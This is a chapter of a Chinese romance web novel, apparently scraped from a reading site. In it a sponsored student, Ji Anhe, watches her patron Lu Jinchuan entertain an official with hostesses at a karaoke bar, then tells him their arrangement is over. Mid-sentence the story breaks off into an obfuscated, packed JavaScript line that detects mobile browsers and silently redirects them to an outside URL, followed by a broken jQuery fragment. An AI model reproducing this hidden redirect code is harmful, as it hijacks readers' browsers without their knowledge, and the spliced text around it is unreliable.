似乎是察觉到门外那道目光,陆谨川转过头,四目相对的瞬间,脸上原本那点浅薄的笑意僵了僵,随后若无其事的将视线挪回,继续与身边的女人周旋。
郑宇成把房卡递给纪安禾,只简单说了句,“陆总在应酬。”
纪安禾点点头,胸口一阵酸涩,她不敢再往里面看去,可刚才那条雪白的胳膊却依旧在她脑中来回游晃。
有位个子不高,面目宽厚的中年男人走过来,路过两人时,转头打量了眼纪安禾,而后停住脚步,“小郑,这位是?”
“王处,这是陆总的朋友纪小姐。”
“原来谨川还带了朋友来。”王银鹏再次看向纪安禾,他梳的一丝不苟的头发间已经夹着些银丝,但眼神并无半分浑浊,反倒有种能看透人心的精明,“都到门口了,纪小姐一起吧。”
纪安禾抿着唇,勉强笑了笑,“我就不进去打扰了。”
“嗐,这有什么打扰的,谨川的朋友就是我的朋友,我就喜欢跟你们年轻人一起玩儿。”说罢王银鹏干笑两声,眼神示意着纪安禾一起进去。
不知为何,这人虽看似和蔼随和,身上却有着强大的迫人气场,纪安禾不知他的来历,估摸着他可能是陆谨川的长辈,也不敢拂了他的面子,只得硬着头皮一起走了进去。
后身后的郑宇成表情中难得浮现出一丝异样的神色。
在看到王银鹏身后跟着进来的纪安禾时,陆谨川显然有些错愕,但只是一瞬,他便恢复神色,只淡淡瞥了眼纪安禾,也不问她为什么会进来。
“谨川,刚才在门口瞧见这姑娘,听小郑说是你朋友?”王银鹏坐在陆谨川旁边,一旁的女人立马起身往他空荡荡的杯中添酒。
“是我助养的大学生,带着出来长长见识的。”陆谨川轻描淡写地概括了二人的关系,看都没看纪安禾一眼。
王银鹏意味深长地点点头,像个慈爱的长辈一样笑着对纪安禾说,“姑娘别站着了,坐啊。”
纪安禾强行控制着自己面部的肌肉走向,微笑着在陆谨川的另一侧坐下,与他之间隔着一个陌生妖娆的女人。
她这才看清这女人的样貌,她穿着黑色丝绒小吊带,雪白的胸部半露在空气中,大腿被灰色牛仔短裤紧紧包裹着,脸上画的浓妆让人分不清她的真实年纪,一颦一笑都像是受到过专业训练,周旋在这些男人身边游刃有余。
而整个包间里,除了在沙发上坐着唱歌的陆谨川和王银鹏,一旁麻将桌上还坐着四个男人,他们的身边人手一个漂亮姑娘,或是依偎在侧,又或是耳鬓厮磨,那些男人恐怕早已心猿意马,牌桌上输钱与否变得不再重要。
陆谨川像是把纪安禾当做空气般,全程与她零交流。而身边的女人除了在纪安禾进门时冲着她甜甜一笑,其余时候只乖巧懂事的靠在陆谨川的身上一言不发,静静的听着男人们聊天,间或会主动带起气氛发挥劝酒的本事。
纪安禾神色冷冷地看着他们,今晚她无意中见识到陆谨川酒局欢场的另一面,而这一面让她惶恐,畏惧,还有些自己不愿意承认的难过,这让她万分后悔自己走进这栋楼。
有人把她当空气,有人却一直注意着她。
一首上世纪九十年代的经典粤语歌唱毕,王银鹏点了支烟,笑呵呵地说:“谨川,纪小姐进来半天了,也不问问人家想喝点什么。”
不等陆谨川开口,王银鹏隔着两个人的距离,朝着纪安禾笑了笑,“你们年轻小姑娘怕是不能喝酒,让服务员给上点饮料果汁吧。”
他说话很周到,不似某些有点权势的中年男子见到年轻女孩就想灌酒。
但纪安禾整个人都处于抽离的状态,直到身边的女人轻轻推了推她,才反应过来王银鹏是在跟自己说话。
纪安禾斟酌半天,笑的很恬静,“谢谢叔叔,我坐坐马上就走了,刚才来的时候吃的挺饱的,喝不下东西。”
她说的很真诚,像是顿感力十足的没有感受到王银鹏一瞬间的脸色变化。
陆谨川握着手中的杯子,若有所思地看了纪安禾一眼,语气生硬地说,“叔叔也是你叫的吗?喊王处。”
陆谨川虽然待纪安禾冷漠时是大多数,但却不曾用过很重的语气跟她说话,纪安禾攥紧手指,低眉顺眼地喊了声:“不好意思,王处。”
王银鹏突然大笑了两声,摆摆手说:“不打紧的,这可不就是叔叔辈的。纪小姐,走那么快干嘛,你们年轻人不都是精力旺盛夜生活很丰富的吗?”
他顿了顿,微微眯起眼睛,朝着纪安禾扬了扬下巴示意,“去点两首歌,叔叔陪你一起唱。”
淡定从容的声音,却让纪安禾的脊背微微发凉。
她求助的眼神看向陆谨川,不料对方却先开了口。
“山里出来的学生,什么都不懂,哪会唱什么歌。不如让琳琳陪您唱,她这把嗓子在海城也是数一数二。”陆谨川说罢眼神示意身边的女人,那琳琳也是个人精,立马秒懂,站起身扭着胯走到王银鹏身边,拿着手机声音酥软地在他耳边低语,“王处,听说您最爱张学友,这几首怎么样......”
王银鹏一时温香软玉,美人在怀,似乎把纪安禾忘在了脑后,歌也没唱成,而是在一旁跟琳琳打情骂俏。
纪安禾是一刻也坐不下去,她对着陆谨川小声说,“我先回去了。”
陆谨川暗淡的眸光落在她的脸上,不知是在想些什么,而后点头,抬手让郑宇成送她出去。
纪安禾像是得到了特赦,头也不回地冲出了包间,冲出了B栋的大门,站在空旷的人行道边大口呼吸着新鲜空气。
郑宇成跟在她的身后出来,低声道,“我送你回去。”
刚才的经历,让纪安禾对郑宇成也产生了敌意,她摇摇头,干脆吐出两个字:“不用。”
“晚上不安全。”郑宇成只听命于自己的老板,仍旧跟在她身后护送她回去。
两人一路无话,快到房间的时候,纪安禾冷不丁问了句,“刚才那位王处是很重要的人物吗?”
“是的。”
“哦。”纪安禾没再说话,她不仅身体很疲惫,脑子更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209952|146512||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
累。
回到房间,纪安禾一头倒在沙发上,脑中像在过电影般,一会儿是陆谨川淡漠凌厉的侧脸,一会儿是琳琳勾在他脖子上的手臂,一会儿又是王处那张有些皱了皮的笑脸,她闭着眼睛强迫自己不要再去想今晚的此情此景,却怎么也控制不住。
手机里群消息不断弹出,谢迎拍了段自己正在麻将场上连庄的视频,吴白群发了个翻白眼的表情,尹一濛则晒出了一张在埃菲尔铁塔前的靓照,就连不怎么在群里发言的何苏苏都拍了张自己辛苦一下午完工的饺子。
司博远则@了纪安禾问她除夕准备怎么过。
原来明天就是除夕夜,纪安禾都快忘了。
因为从来也没有过压岁钱,所以纪安禾对过年并没什么特别的感情,除夕夜里的那顿团圆饭永远只有她和母亲两人,一开始家里连电视都没有,每次开学以后听到同学们提起春晚上的节目,她都一脸茫然,插不上一句话。
后来母亲从邻居家两百块钱买了台别人淘汰的旧电视,她终于能看上春晚,每当播到小品相声的时候,母亲总是弯起眉眼,低声笑着,纪安禾原本并不觉得那些对话有多好笑,却在看到母亲那样开心的笑容以后,也跟着乐起来......
纪安禾的眼眶突然有些温热,她努力睁大了眼睛,没让自己显得更狼狈。
这一晚陆谨川没有回来。
纪安禾望着天花板上的水晶灯,数着上面一个个细小的灯泡,直到夜色慢慢褪去,天空逐渐亮起,像一张白色的卷纸,铺陈开来。
即使一夜未眠,纪安禾却比任何时候都更加清醒,手机有来自航空公司的新消息,提醒她准时到达机场。
她买了最早一班飞机回北城。
纪安禾从沙发上爬起来,洗漱完毕,开始整理行李箱。
她带的东西本就不多,在这儿现买的泳衣,拖鞋都被一一摆放好,并不准备带回去。
八点十分,纪安禾提起行李箱往门口走,房门啪的从外面打开,陆谨川满身酒气的站在门口,他仍旧穿着昨天那身衣服,眼睛里有几条红血丝,苍白的脸上透着些疲惫。
“你在做什么?”这话刚出口,陆谨川低头看到纪安禾手中提着的行李箱,眸光瞬间冷了下来。
纪安禾把行李箱放在地上,眼睛直勾勾盯着眼前的男人,“我要回北城。”
“为什么?”陆谨川皱着眉走进来,房门在身后被他用力的关上。
“我想我在这儿恐怕会影响到您,我走了您也不用在外面,可以直接回来。”纪安禾微微抬起头,一张小脸绷的很紧。
“谁允许你走的?”陆谨川脸上带着薄怒,他因昨晚过度的饮酒,此刻有些眩晕,“纪安禾你要搞清楚自己的身份,你有什么资格在这儿跟我闹脾气!”
“对,我已经认清,我没资格。所以......”纪安禾能感受到自己整个身子都在抖,她的心中像被烈火焚烧后的草地,只剩一片荒芜。
“陆先生,我们俩的约定就此结束吧,我没那个本事继续履行下去。”